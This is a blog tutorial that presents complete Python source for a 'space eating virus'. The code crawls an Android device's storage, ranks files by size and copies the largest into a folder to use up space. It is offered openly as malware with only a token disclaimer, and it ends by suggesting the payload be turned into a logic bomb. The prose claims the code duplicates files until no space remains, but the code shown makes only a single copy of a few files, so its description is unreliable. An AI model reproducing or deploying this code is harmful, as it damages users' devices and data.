Space eating virus in Python

How to build a space eating virus in Python

In my previous blog post, I talked about how to copy and paste files in Python; well in this tutorial we will learn one of the practical examples of that post. In this tutorial we will build a space eating virus in Python.

Disclaimer:
This blog post is only meant for educational purposes, I’m not liable to any use of this tutorial in a malicious way.

Getting started:

Our space eating virus is simple, first we get the largest file in our Target’s machine, then start duplicating the files till we don’t have space for any file again.

Ok that’s much about it let’s code:

First we will get the files in the target system then sort them by size. But in other to do this we first the directory to start from.

import os,time
import shutil

path = ["/storage/emulated/0/"] #list of directories to crawl
escape = ["Android"] #list of folders to ignore
         

def prepare_paths(paths):
     for path in paths:
         for  root,dirs,files in os.walk(path):
             dirs = [i for i in dirs if not i.startswith(".")]
             dirs = [i for i in dirs if i not in escape]
             dirs = [path+"/%s/"%i for i in dirs]
             return(dirs)


def file_finder(paths,filetype=[".mp4",".avi",".mkv",".3gp"]):
     result = []
     for path in prepare_paths(paths):
         for root,dirs,files in os.walk(path):
             for name in files:
                 if any([i for i in filetype if i in name]):
                     filename = f"{root}/{name}"
                     filesize = round(os.path.getsize(filename)/(1024*1024),0)
                     result.append((filename,filesize))
                 else:pass
     return(result) 

files = sorted(file_finder(path,filetype=["."]),key=lambda t: t[1],reverse=True)
 

When we have the largest file we will now start duplicating the file(s), we will accomplish this with the help of Python’s standard library shutil.

for i in files[3:10]:
     print(i)

pathx = "/storage/emulated/0/Movies/" #destination for copied files, you can set it to any folder

for file in files[3:10]:
     shutil.copy2(file[0],pathx)
 

The complete code:

This is the complete code for our space eating virus in Python.

import os,time
import shutil


path = ["/storage/emulated/0/"] #list of directories to crawl
escape = ["Android"] #list of folders to ignore
         
def prepare_paths(paths):
     for path in paths:
         for  root,dirs,files in os.walk(path):
             dirs = [i for i in dirs if not i.startswith(".")]
             dirs = [i for i in dirs if i not in escape]
             dirs = [path+"/%s/"%i for i in dirs]
             return(dirs)

def file_finder(paths,filetype=[".mp4",".avi",".mkv",".3gp"]):
     result = []
     for path in prepare_paths(paths):
         for root,dirs,files in os.walk(path):
             for name in files:
                 if any([i for i in filetype if i in name]):
                     filename = f"{root}/{name}"
                     filesize = round(os.path.getsize(filename)/(1024*1024),0)
                     result.append((filename,filesize))
                 else:pass
     return(result)

files = sorted(file_finder(path,filetype=["."]),key=lambda t: t[1],reverse=True)


pathx = "/storage/emulated/0/Movies/" #destination for copied files, you can set it to any folder

for file in files[3:10]:
     shutil.copy2(file[0],pathx)
 

You can still download the code from my repo. Well that’s my own simple approach to a space eating virus; you can still work on the code maybe the space-eating action can be triggered when certain conditions are met see building a logic bomb in Python on how that can be done.

One comment

Leave a Reply

Your email address will not be published. Required fields are marked *